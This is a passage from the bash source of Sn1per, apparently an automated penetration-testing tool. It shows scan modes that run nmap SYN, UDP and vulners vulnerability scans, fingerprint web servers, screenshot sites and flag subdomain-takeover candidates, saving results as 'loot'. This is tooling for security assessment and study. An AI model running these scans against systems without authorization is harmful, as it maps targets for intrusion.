echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PING DISCOVERY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -sP $TARGET | tee $LOOT_DIR/ips/sniper-$OUT_FILE-ping.txt
|
||||
cat $LOOT_DIR/ips/sniper-$OUT_FILE-ping.txt 2> /dev/null | grep "scan report" | awk '{print $5}' > $LOOT_DIR/ips/sniper-$OUT_FILE-ping-sorted.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -v -p $QUICK_PORTS --data-length=50 -sS $TARGET -Pn 2> /dev/null | grep "open port" | tee $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt 2>/dev/null
|
||||
cat $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/ips/sniper-$OUT_FILE-tcpips.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING UDP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -v -p $DEFAULT_UDP_PORTS --data-length=50 -sU -Pn $TARGET 2> /dev/null | grep "open port" | tee $LOOT_DIR/ips/sniper-$OUT_FILE-udp.txt 2>/dev/null
|
||||
cat $LOOT_DIR/ips/sniper-$OUT_FILE-udp.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/ips/sniper-$OUT_FILE-udpips.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CURRENT TARGETS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/ips/sniper-$OUT_FILE-ping-sorted.txt $LOOT_DIR/ips/sniper-$OUT_FILE-tcpips.txt $LOOT_DIR/ips/sniper-$OUT_FILE-udpips.txt 2> /dev/null > $LOOT_DIR/ips/sniper-$OUT_FILE-ips-unsorted.txt
|
||||
sort -u $LOOT_DIR/ips/sniper-$OUT_FILE-ips-unsorted.txt > $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt
|
||||
cat $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt
|
||||
echo ""
|
||||
echo -e "$OKRED[+]$RESET Target list saved to $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt "
|
||||
echo -e "$OKRED[i] To scan all IP's, use sniper -f $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt -m flyover -w $WORKSPACE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper -f $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt -m flyover -w $WORKSPACE
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,122 @@
|
|||
# FLYOVER MODE ######################################################################################################
|
||||
if [[ "$MODE" = "flyover" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
|
||||
args="$args -f $FILE -m flyover --noreport --noloot"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED . . "
|
||||
echo -e "$OKRED // "'\\\\ '
|
||||
echo -e "$OKRED // "'\\\\ '
|
||||
echo -e "$OKRED // "'\\\\ '
|
||||
echo -e "$OKRED // _._ "'\\\\ '
|
||||
echo -e "$OKRED .---. .//|"'\\\\. .---. '
|
||||
echo -e "$OKRED ________ / .-. \_________..-~ _.-._ ~-..________ / .-. \_________ -sr "
|
||||
echo -e "$OKRED \ ~-~ / /H- \`-=.___.=-' -H\ \ ~-~ / "
|
||||
echo -e "$OKRED ~~~ / H [H] H \ ~~~ "
|
||||
echo -e "$OKRED / _H_ _H_ _H_ \ "
|
||||
echo -e "$OKRED UUU UUU UUU "
|
||||
echo -e "$OKRED "
|
||||
echo -e "$RESET"
|
||||
echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/$WORKSPACE-$MODE.txt
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$WORKSPACE-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
args=""
|
||||
|
||||
i=1
|
||||
for HOST in `cat $FILE`; do
|
||||
TARGET="$HOST"
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
touch $LOOT_DIR/scans/$TARGET-$MODE.txt 2> /dev/null
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
echo -e "$OKRED=====================================================================================$RESET"
|
||||
echo -e "${OKBLUE}HOST:$RESET $TARGET"
|
||||
|
||||
dig all +short $TARGET 2> /dev/null > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null &
|
||||
dig all +short -x $TARGET 2> /dev/null >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null &
|
||||
sed -i -E 's/,//g' $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
host $TARGET 2> /dev/null | grep address 2> /dev/null | awk '{print $4}' 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null &
|
||||
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null
|
||||
|
||||
curl --connect-timeout 5 -I -s -R http://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null &
|
||||
curl --connect-timeout 5 -I -s -R https://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null &
|
||||
|
||||
webtech -u http://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-http.txt 2> /dev/null &
|
||||
webtech -u https://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-https.txt 2> /dev/null &
|
||||
|
||||
nmap -sS --open -Pn --data-length=50 -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null &
|
||||
WEBHOST=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null | egrep "80|443" | grep open | wc -l 2> /dev/null)
|
||||
if [[ "$WEBHOST" -gt "0" ]]; then
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" 2>/dev/null | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null & 2> /dev/null
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null &
|
||||
/bin/CutyCapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null &
|
||||
else
|
||||
cutycapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null > /dev/null &
|
||||
cutycapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null > /dev/null &
|
||||
fi
|
||||
fi
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80 2> /dev/null > /dev/null &
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443 2> /dev/null > /dev/null &
|
||||
fi
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets-all-presorted.txt
|
||||
i=$((i+1))
|
||||
if [[ "$i" -gt "$THREADS" ]]; then
|
||||
i=1
|
||||
sleep 15
|
||||
fi
|
||||
done
|
||||
sleep 15
|
||||
sort -u LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/domains/targets-all-presorted.txt 2> /dev/null > $LOOT_DIR/domains/targets-all-sorted.txt
|
||||
rm -f $INSTALL_DIR/wget-log* 2> /dev/null
|
||||
killall webtech 2> /dev/null
|
||||
for TARGET in `cat $LOOT_DIR/domains/targets-all-sorted.txt`; do
|
||||
HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null)
|
||||
if [[ ${#HOST_UP} -ge 2 ]]; then
|
||||
echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
|
||||
rm -f $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null
|
||||
for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
|
||||
echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
|
||||
done
|
||||
done
|
||||
sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
|
||||
echo -e "$OKRED=====================================================================================$RESET"
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,96 @@
|
|||
# FULLPORTONLY MODE
|
||||
if [[ "$MODE" = "fullportonly" ]]; then
|
||||
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
args="-t $TARGET"
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
mkdir $LOOT_DIR/nmap 2> /dev/null
|
||||
mkdir $LOOT_DIR/notes 2> /dev/null
|
||||
mkdir $LOOT_DIR/reports 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args --noreport -m fullportonly"
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-fullnmapscan.txt
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
|
||||
logo
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
if [[ -z "$PORT" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -Pn -v -sV -A -O --data-length=50 --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
|
||||
cp -f $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -Pn -sU -sV -A -v --data-length=50 --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport-udp.xml -p $DEFAULT_UDP_PORTS $TARGET
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null
|
||||
else
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -Pn -v -sV -A -O --data-length=50 --script=/usr/share/nmap/scripts/vulners -p $PORT -oX $LOOT_DIR/nmap/nmap-$TARGET-tcp-port$PORT.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -Pn -A -v -sV -sU --data-length=50 --script=/usr/share/nmap/scripts/vulners -p $PORT -Pn -oX $LOOT_DIR/nmap/nmap-$TARGET-udp-port$PORT.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET-udp
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DONE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
mv $LOOT_DIR/scans/running-$TARGET-$MODE.txt $LOOT_DIR/scans/finished-$TARGET-$MODE.txt 2> /dev/null
|
||||
|
||||
HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null)
|
||||
if [[ ${#HOST_UP} -ge 2 ]]; then
|
||||
echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
|
||||
|
||||
rm -f $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null
|
||||
for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
|
||||
echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
|
||||
done
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt"
|
||||
fi
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
loot
|
||||
exit
|
||||
fi
|
||||
|
||||
if [[ "$MODE" = "port" ]]; then
|
||||
if [[ -z "$PORT" ]]; then
|
||||
echo -e "$OKRED + -- --=[Error: You need to enter a port number. $RESET"
|
||||
exit
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
if [[ "$FULLNMAPSCAN" = "0" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SKIPPING FULL NMAP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
else
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
nmap -Pn -v -sV -A -O --data-length=50 --script=/usr/share/nmap/scripts/vulners -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml -p $FULL_PORTSCAN_PORTS $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET
|
||||
cp -f $LOOT_DIR/nmap/nmap-$TARGET-fullport.xml $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
xsltproc $INSTALL_DIR/bin/nmap-bootstrap.xsl $LOOT_DIR/nmap/nmap-$TARGET.xml -o $LOOT_DIR/nmap/nmapreport-$TARGET.html 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -Pn -sU -sV -A -v --data-length=50 --script=/usr/share/nmap/scripts/vulners -p $DEFAULT_UDP_PORTS -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport-udp.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET-udp
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null
|
||||
HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null)
|
||||
if [[ ${#HOST_UP} -ge 2 ]]; then
|
||||
echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
|
||||
|
||||
rm -f $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null
|
||||
for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
|
||||
echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
|
||||
done
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt"
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,71 @@
|
|||
# MASSWEB MODE #####################################################################################################
|
||||
if [[ "$MODE" = "massportscan" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args -m fullportonly --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
echo -e "$OKRED |"
|
||||
echo -e "$OKRED | |"
|
||||
echo -e "$OKRED | -/_\-"
|
||||
echo -e "$OKRED -/_\- ______________(/ . \)______________"
|
||||
echo -e "$OKRED ____________(/ . \)_____________ \___/ <>"
|
||||
echo -e "$OKRED <> \___/ <> <>"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED || BIG"
|
||||
echo -e "$OKRED _____ __ <> (^)))^ BOOM!"
|
||||
echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )"
|
||||
echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )"
|
||||
echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED __________________________________________________________"
|
||||
echo -e "$RESET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
